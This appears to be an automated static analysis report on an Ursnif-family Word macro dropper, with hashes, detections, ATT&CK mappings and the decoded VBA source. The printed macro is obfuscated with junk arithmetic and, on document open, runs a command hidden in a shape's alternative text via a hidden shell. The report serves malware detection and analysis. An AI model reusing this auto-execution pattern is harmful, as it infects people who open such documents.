Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 b8da58425ae120de…

MALICIOUS

Office (OLE)

67.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-17
MD5: 34a4b6022b2dffdc9b412750c4a8ff28 SHA-1: e81b396a9ed33dd807e7406a0c84aaceb3f72ca6 SHA-256: b8da58425ae120de754961419a31381f2f869cfcadaeacb132da188d27175a7c
142 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Dropper.Ursnif-6864686-0, indicating it belongs to the Ursnif family. Static analysis revealed the presence of a VBA macro with an AutoOpen function, which is a common technique for Ursnif to execute its malicious payload upon opening the document. The macro's AutoOpen subroutine attempts to execute a command using the AlternativeText property of a shape, likely to download and run a secondary stage.

Heuristics 5

  • ClamAV: Doc.Dropper.Ursnif-6864686-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Ursnif-6864686-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1210 bytes
SHA-256: d7d6b4cc838229922a2e5818b9a6ec02d4824babd7c62ce0e7c4bdcf0c98daa6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "tjoxare"
Function dgoq()



Dim mxeqinegura As Integer
Dim fmewehi As Long
mxeqinegura = 7403# - 9780#
Dim cSvSBc As Variant
cSvSBc = mxeqinegura - 3977#



Dim dgxsff As Integer
Dim mrebujy As Long
dgxsff = 7316# - 2287#
Dim TBQrSAl As Variant
TBQrSAl = dgxsff - 2686#



Set dgoq = ActiveDocument.Shapes(2)

Dim zbuhasyzugi As Integer
Dim bxykyzyn As Long
zbuhasyzugi = 2262# - 6064#
Dim fwanufyzule As Variant
fwanufyzule = zbuhasyzugi - 1680#



End Function
Sub AutoOpen()







Set RgjEaoN = dgoq

jgibaw = dgoq.AlternativeText

Dim jgel As Integer
Dim eQqxpYS As Long
jgel = 9109# - 9187#
Dim rwususil As Variant
rwususil = jgel - 2342#



Interaction.Shell@ _
jgibaw, vbHide

Dim hbotysefeb As Integer
Dim KfPDHw As Long
hbotysefeb = 7744# - 5065#
Dim fcoqalyqyku As Variant
fcoqalyqyku = hbotysefeb - 6131#







End Sub